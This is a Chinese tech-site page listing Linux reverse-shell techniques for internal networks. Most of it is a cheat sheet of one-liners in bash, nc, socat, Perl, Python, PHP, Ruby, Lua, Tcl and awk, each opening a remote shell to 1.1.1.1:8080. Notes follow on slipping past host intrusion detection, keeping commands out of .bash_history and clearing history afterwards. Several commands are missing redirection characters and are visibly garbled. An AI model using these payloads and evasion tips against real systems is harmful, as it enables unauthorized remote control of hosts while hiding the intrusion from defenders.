我的编程空间,编程开发者的网络收藏夹
学习永远不晚

Linux下内网反弹的方法是什么

短信预约 -IT技能 免费直播动态提醒
省份

北京

  • 北京
  • 上海
  • 天津
  • 重庆
  • 河北
  • 山东
  • 辽宁
  • 黑龙江
  • 吉林
  • 甘肃
  • 青海
  • 河南
  • 江苏
  • 湖北
  • 湖南
  • 江西
  • 浙江
  • 广东
  • 云南
  • 福建
  • 海南
  • 山西
  • 四川
  • 陕西
  • 贵州
  • 安徽
  • 广西
  • 内蒙
  • 西藏
  • 新疆
  • 宁夏
  • 兵团
手机号立即预约

请填写图片验证码后获取短信验证码

看不清楚,换张图片

免费获取短信验证码

Linux下内网反弹的方法是什么

这篇文章主要介绍“Linux下内网反弹的方法是什么”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“Linux下内网反弹的方法是什么”文章能帮助大家解决问题。

Linux下内网反弹的方法是什么

反弹技巧总结:

1、NC反弹

Nc 1.1.1.1 8080 -e /bin/bash

2、Bash-socket反弹

/bin/bash -i > /dev/tcp/1.1.1.1/8080 0&1

3、Shell-socket反弹

a) exec 2>&0;0exec 196/dev/tcp/1.1.1.1/8080;  sh &196 2>&196  b) exec 5/dev/tcp/1.1.1.1/8080  cat while read line; do $line 2>&5 >&5; done[分两句执行]

4、文件管道-nc/telnet反弹

a) rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 1.1.1.1 8080 >/tmp/fb) rm /tmp/backpipe;mknod /tmp/backpipe p;/bin/bash 0/backpipe | nc 1.1.1.1 8080 1>/tmp/backpipec) rm /tmp/backpipe;mknod /tmp/backpipe p && telnet 1.1.1.1 8080 0/backpipe | /bin/bash 1>/tmp/backpipe

5、Bash-telnet反弹

telnet 1.1.1.1 8080 | /bin/bash | telnet 1.1.1.1 9090 [另一个端口]

6、Socat反弹

socat tcp-connect:1.1.1.1:8080 exec:"bash -li",pty,stderr,setsid,sigint,sane

7、脚本反弹

a) Perl反弹1) perl -e 'use Socket;$i="1.1.1.1";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'2) perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"1.1.1.1:8080");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while;'b) Python反弹python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("1.1.1.1",8080));os.dup2(s.fileno(),0);  os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'c) PHP反弹php -r '$sock=fsockopen("1.1.1.1",8080);exec("/bin/sh -i &3 2>&3");'d) ruby反弹ruby -rsocket -e'f=TCPSocket.open("1.1.1.1",8080).to_i;exec sprintf("/bin/sh -i &%d 2>&%d",f,f,f)'2) ruby -rsocket -e 'exit if fork;c=TCPSocket.new("1.1.1.1","8080");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'e) lua反弹lua -e "require('socket');require('os');t=socket.tcp();t:connect('1.1.1.1','8080');os.execute('/bin/sh -i &3 2>&3');"f) tcl反弹echo 'set s [socket 1.1.1.1 8080];while 42 { puts -nonewline $s "shell>";flush $s;gets $s c;set e "exec $c";if {![catch {set r [eval $e]} err]}  { puts $s $r };  flush $s; };  close $s;' | tclshg) awk反弹awk 'BEGIN {s = "/inet/tcp/0/1.1.1.1/8080";while(42) { do{ printf "shell>" |& s;  s |& getline c;  if(c){ while ((c |& getline) > 0) print $0 |& s;close(c); } }  while(c != "exit")  close(s); }}' /dev/null

8、二进制程序反弹

Socket程序+命令执行,详见metasploit。

杂谈

市面上反弹shell的脚本和程序非常多,拿metasploit来说,可以生产上百种shell,但解码以后无非以上几种,有趣的时候metasploit生成的无论是脚本反弹程序还是二进制反弹程序多数都是自己实现了system_call,而不是调用系统bash或命令之类,看来做的还是很良心的。

值得一提的是,由于大型甲方公司都会有HIDS防护,目前已知的HIDS,要么修改了bash,要么劫持glibc,要么修改系统底层(这种可能性较低,出问题的几率大)。

当你觉得可以反弹shell的时候一定要提前识别好环境,不然执行了一个bash –i 或nc ,很有可能直接被hids一波带走。

比较推荐使用shell内置反弹或脚本类的反弹shell程序,一般的hids不会记录,非常不建议调用系统bash命令产生反弹,起码.bash_history会妥妥把你出卖掉。

内网shell反弹无论在渗透还是在反渗透中都是一个绕过不开的话题,关于反弹shell,其中有几个有趣的问题:

\1. 反弹shell的理解:

内网shell反弹的本质是与公网服务器建立连接,并能将公网服务器传输过来的命令执行,并将结果返回,因此反弹shell涉及两个过程网络建立+命令执行,这两个过程都是衡量反弹功能的标准,网络建立要求复杂加密(如msf: meterpreter_reverse_https等),命令执行则要求尽可能绕开hids和相关记录。

交互式shell:

交互式shell是shell最常见的一种,交互式shell区别非交互式shell最大的就是加载了环境变量,交互式shell的使用和在终端terminal中几乎一致。一般来说,远程命令执行反弹出来仅仅是实现了一个非交互式shell。从非交互式shell升级到交互式shell,一个最简单的方式就是用python脚本 pty.spawn(“/bin/bash”)

\3. 交互式shell在实际渗透过程中未必比非交互式shell好,因为有经验的甲方都会对环境变量、shell终端加载文件如.bashrc、bash_profile等进行安全处理,直接提升到交互式shell,触发HIDS告警的可能性较高(当然并非绝对)。

(Ps:如果你使用别人的工具,反弹了shell,却不清楚是不是交互式shell,一个简单的方法就是执行history和set命令,如果都有正常返回,那你就要当心了,你可能获取了一个交互式shell,尽快清除history吧。)

关于“Linux下内网反弹的方法是什么”的内容就介绍到这里了,感谢大家的阅读。如果想了解更多行业相关的知识,可以关注编程网行业资讯频道,小编每天都会为大家更新不同的知识点。

免责声明:

① 本站未注明“稿件来源”的信息均来自网络整理。其文字、图片和音视频稿件的所属权归原作者所有。本站收集整理出于非商业性的教育和科研之目的,并不意味着本站赞同其观点或证实其内容的真实性。仅作为临时的测试数据,供内部测试之用。本站并未授权任何人以任何方式主动获取本站任何信息。

② 本站未注明“稿件来源”的临时测试数据将在测试完成后最终做删除处理。有问题或投稿请发送至: 邮箱/279061341@qq.com QQ/279061341

Linux下内网反弹的方法是什么

下载Word文档到电脑,方便收藏和打印~

下载Word文档

猜你喜欢

Linux下内网反弹的方法是什么

这篇文章主要介绍“Linux下内网反弹的方法是什么”的相关知识,小编通过实际案例向大家展示操作过程,操作方法简单快捷,实用性强,希望这篇“Linux下内网反弹的方法是什么”文章能帮助大家解决问题。反弹技巧总结:1、NC反弹Nc 1.1.1.
2023-06-27

Linux下NC反弹shell命令的使用方法

小编给大家分享一下Linux下NC反弹shell命令的使用方法,相信大部分人都还不怎么了解,因此分享这篇文章给大家参考一下,希望大家阅读完这篇文章后大有收获,下面让我们一起去了解一下吧!什么是Linux系统Linux是一种免费使用和自由传播
2023-06-09

linux中反弹shell的原理是什么

这期内容当中小编将会给大家带来有关linux中反弹shell的原理是什么,文章内容丰富且以专业的角度为大家分析和叙述,阅读完这篇文章希望大家可以有所收获。什么是Linux系统Linux是一种免费使用和自由传播的类UNIX操作系统,是一个基于
2023-06-09

nginx反向代理内网穿透的方法是什么

使用nginx作为反向代理进行内网穿透的方法如下:1. 在公网服务器上安装nginx,并确保其正常运行。2. 配置nginx的反向代理功能,将公网服务器的端口映射到目标内网服务器的IP地址和端口上。3. 修改目标内网服务器的防火墙规则,允许
2023-09-13

DOS下联网的方法是什么

本篇内容主要讲解“DOS下联网的方法是什么”,感兴趣的朋友不妨来看看。本文介绍的方法操作简单快捷,实用性强。下面就让小编来带大家学习“DOS下联网的方法是什么”吧! 随着计算机和网络的普及,计算机之间的联网操作(如文件的传输,聊天等)
2023-06-10

Linux内核升级的方法是什么

本篇内容介绍了“Linux内核升级的方法是什么”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!Linux内核简介:1.从技术层面讲,内核是硬件
2023-06-28

Linux下安装python3的方法是什么

本文小编为大家详细介绍“Linux下安装python3的方法是什么”,内容详细,步骤清晰,细节处理妥当,希望这篇“Linux下安装python3的方法是什么”文章能帮助大家解决疑惑,下面跟着小编的思路慢慢深入,一起来学习新知识吧。1、首先安
2023-06-28

linux下卸载ssl的方法是什么

在Linux下,可以使用以下方法卸载SSL:1. 首先,确定你要卸载的是哪个SSL版本,比如OpenSSL、GnuTLS等。2. 打开终端,以root用户或具有管理员权限的用户登录。3. 使用适当的包管理器卸载SSL库。根据你的Linux发
2023-09-05

linux下mongodb设置的方法是什么

在Linux下设置MongoDB有以下几种方法:1. 使用配置文件:MongoDB的配置文件是`/etc/mongod.conf`,你可以编辑这个文件来设置MongoDB的各种配置选项,例如监听IP地址、端口号、数据存储路径等。编辑完成后,
2023-09-11

DOS下内存的配置方法是什么

这篇文章主要介绍“DOS下内存的配置方法是什么”,在日常操作中,相信很多人在DOS下内存的配置方法是什么问题上存在疑惑,小编查阅了各式资料,整理出简单好用的操作方法,希望对大家解答”DOS下内存的配置方法是什么”的疑惑有所帮助!接下来,请跟
2023-06-09

Linux下启动tomcat的方法是什么

这篇文章跟大家分析一下“Linux下启动tomcat的方法是什么”。内容详细易懂,对“Linux下启动tomcat的方法是什么”感兴趣的朋友可以跟着小编的思路慢慢深入来阅读一下,希望阅读后能够对大家有所帮助。下面跟着小编一起深入学习“Lin
2023-06-28

linux下安装Hadoop的方法是什么

本篇内容介绍了“linux下安装Hadoop的方法是什么”的有关知识,在实际案例的操作过程中,不少人都会遇到这样的困境,接下来就让小编带领大家学习一下如何处理这些情况吧!希望大家仔细阅读,能够学有所成!一:安装JDK1.执行以下命令,下载J
2023-07-05

Linux下PyTorch安装的方法是什么

这篇文章主要讲解了“Linux下PyTorch安装的方法是什么”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“Linux下PyTorch安装的方法是什么”吧!一、PyTorch简介PyTorc
2023-07-05

Windows内网ip查询的方法是什么

可以使用命令行工具ipconfig来查询Windows的内网IP地址。具体步骤如下:1. 打开命令提示符:在Windows的开始菜单中搜索“cmd”,然后点击“命令提示符”。2. 在命令提示符中输入ipconfig命令,然后按下回车键。3.
2023-06-11

linux查看网速的方法是什么

在Linux系统中,可以使用以下方法来查看网速:使用iftop命令:iftop是一个交互式的实时流量监控工具,可以帮助用户查看当前网络流量的情况,包括各个网络连接的IP地址、端口号、上传下载速度等信息。可以通过在终端输入命令iftop来启动
linux查看网速的方法是什么
2024-03-02

Linux网络监控的方法是什么

这篇文章主要介绍了Linux网络监控的方法是什么的相关知识,内容详细易懂,操作简单快捷,具有一定借鉴价值,相信大家阅读完这篇Linux网络监控的方法是什么文章都会有所收获,下面我们一起来看看吧。Linux网络监控具体方法:查看网卡信息,带宽
2023-06-28

基于Linux内核新特性的网关设计方法是什么

今天小编给大家分享一下基于Linux内核新特性的网关设计方法是什么的相关知识点,内容详细,逻辑清晰,相信大部分人都还太了解这方面的知识,所以分享这篇文章给大家参考一下,希望大家阅读完这篇文章后有所收获,下面我们一起来了解一下吧。UCloud
2023-06-16

linux内核编译安装的方法是什么

Linux内核编译安装的方法如下:1. 下载内核源代码:在Linux官方网站(https://www.kernel.org/)或其他来源下载最新版本的内核源代码。2. 解压源代码:使用tar命令解压下载的内核源代码压缩包。3. 配置内核选项
2023-09-25

linux内核版本查看的方法是什么

有多种方法可以查看Linux内核版本,以下是其中一些常用的方法:使用命令行查看:可以通过在终端中输入以下命令来查看Linux内核版本:uname -r查看/proc/version文件:可以通过查看/proc/version文件的内容来获取
linux内核版本查看的方法是什么
2024-03-04

linux查看内核版本的方法是什么

在Linux系统中,可以使用以下命令来查看内核版本:使用uname命令:uname -a使用cat命令查看/proc/version文件内容:cat /proc/version使用uname命令仅查看内核版本号:uname -r以上命令可以
linux查看内核版本的方法是什么
2024-03-11

编程热搜

目录